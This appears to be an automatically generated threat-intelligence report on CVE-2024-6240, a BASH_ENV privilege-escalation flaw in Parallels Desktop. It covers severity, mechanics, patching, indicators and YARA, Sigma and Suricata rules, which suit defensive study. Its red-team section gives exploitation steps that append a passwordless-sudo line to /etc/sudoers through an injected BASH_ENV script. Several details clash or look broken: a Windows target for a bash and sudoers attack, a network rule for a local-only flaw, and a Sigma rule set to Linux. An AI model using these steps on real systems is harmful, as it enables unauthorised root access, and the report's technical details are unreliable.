CVE-2024-6240

Executive Summary

CVE-2024-6240 is a high-severity improper privilege management vulnerability in Parallels Desktop Software, affecting versions earlier than 19.3.0. The flaw allows a local attacker with low privileges to escalate to root by injecting a malicious script into the BASH_ENV environment variable. When a privileged application starts, the malicious script executes, granting the attacker elevated privileges. No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating low exploitation activity. The vendor has released a patch in version 19.3.0.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a local privilege escalation flaw in a commercial desktop virtualization product.

CVSS Breakdown & Threat Level

• CVSS Score: 7.7 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs a standard user account.
• User Interaction: None (UI:N) – No user action is needed.
• Scope: Changed (S:C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality, Integrity, Availability: High (C:H/I:H/A:H) – Full compromise of the system.

Threat Level: High. Although no active exploitation is reported, the low attack complexity and high impact make this a critical risk for unpatched systems.

Deep Dive & Mechanics

The vulnerability resides in how Parallels Desktop handles environment variables when launching privileged processes. Specifically, the software does not sanitize the BASH_ENV environment variable. An attacker can set BASH_ENV to point to a malicious script. When a privileged application (e.g., a system service or a tool run with elevated privileges) starts, Bash reads and executes the script specified in BASH_ENV, leading to arbitrary code execution with the privileges of the target process.

Attack Flow:

1. Attacker gains low-privilege access to the host system.
2. Attacker creates a malicious script (e.g., /tmp/exploit.sh) containing code to escalate privileges (e.g., adding a new user to the sudoers group).
3. Attacker sets the environment variable: export BASH_ENV=/tmp/exploit.sh.
4. Attacker triggers a privileged application (e.g., by running a Parallels tool or waiting for a scheduled task).
5. The privileged process starts Bash, which executes the malicious script.
6. The script runs with elevated privileges, granting the attacker root access.

Vulnerable vs. Patched Code

Vulnerable Code (Parallels Desktop < 19.3.0): The software does not clear or sanitize the BASH_ENV environment variable before spawning privileged processes. This allows an attacker to inject arbitrary script execution.

# Vulnerable behavior (conceptual)
#!/bin/bash
# Parallels Desktop launches a privileged tool
# BASH_ENV is inherited from the user's environment
# If BASH_ENV is set, Bash executes it

Patched Code (Parallels Desktop 19.3.0): The patched version explicitly unsets or sanitizes BASH_ENV before executing privileged processes, preventing environment variable injection.

# Patched behavior (conceptual)
#!/bin/bash
# Parallels Desktop clears dangerous environment variables
unset BASH_ENV
# Now launch the privileged tool safely

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

• Target: Windows or macOS host running Parallels Desktop < 19.3.0.
• Attacker: Local user account with standard privileges.

Exploitation Steps:

1. Create a malicious script:

   #!/bin/bash
   # /tmp/exploit.sh
   echo "attacker ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
   

2. Set the environment variable:

   export BASH_ENV=/tmp/exploit.sh
   

3. Trigger a privileged process (e.g., run a Parallels tool that executes as root):

   # Example: prlctl (Parallels command-line tool)
   prlctl list
   

4. Verify privilege escalation:

   sudo -l
   # Should show that 'attacker' can run any command without a password
   

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual BASH_ENV environment variable settings.
• Alert on processes spawned with BASH_ENV pointing to user-writable locations.
• Use endpoint detection and response (EDR) to detect privilege escalation attempts.

Prevention:

• Apply the vendor patch (upgrade to Parallels Desktop 19.3.0 or later).
• Restrict local user permissions to prevent setting environment variables for privileged processes.
• Use application whitelisting to block unauthorized scripts.

Indicators of Compromise (IOCs)

• Environment Variable: BASH_ENV set to a user-writable path (e.g., /tmp/exploit.sh).
• File Artifacts: Suspicious scripts in /tmp/ or other user-writable directories with names like exploit.sh, priv.sh.
• Process Anomalies: Privileged processes (e.g., prlctl, prl_disp_service) spawning with unexpected child processes (e.g., bash executing scripts).
• Log Entries: System logs showing sudo or su usage from unexpected users, or /etc/sudoers modification.

Detection Engineering

YARA Rule

rule CVE_2024_6240_BASH_ENV_Exploit {
    meta:
        description = "Detects malicious scripts targeting CVE-2024-6240 via BASH_ENV"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6240"
    strings:
        $s1 = "BASH_ENV" nocase
        $s2 = "/tmp/" nocase
        $s3 = "sudoers" nocase
        $s4 = "chmod" nocase
        $s5 = "chown" nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-6240 BASH_ENV Privilege Escalation Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects setting of BASH_ENV environment variable to a user-writable path, indicating exploitation of CVE-2024-6240.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6240
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/bash'
        CommandLine|contains: 'BASH_ENV='
    filter:
        CommandLine|contains: '/etc/'
    condition: selection and not filter
falsepositives:
    - Legitimate use of BASH_ENV in non-privileged contexts
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6240 BASH_ENV Exploit Attempt"; flow:to_server,established; content:"BASH_ENV"; nocase; content:"/tmp/"; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Parallels Desktop to version 19.3.0 or later.
2. Workaround: If patching is not possible, restrict local user accounts and monitor for suspicious BASH_ENV usage.

Long-Term Measures:

• Implement least privilege principles for all user accounts.
• Use application control to prevent execution of unauthorized scripts.
• Regularly audit environment variables in privileged process spawns.
• Deploy EDR solutions with behavioral detection for privilege escalation.

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence. For questions, contact threatintel@valtersit.com.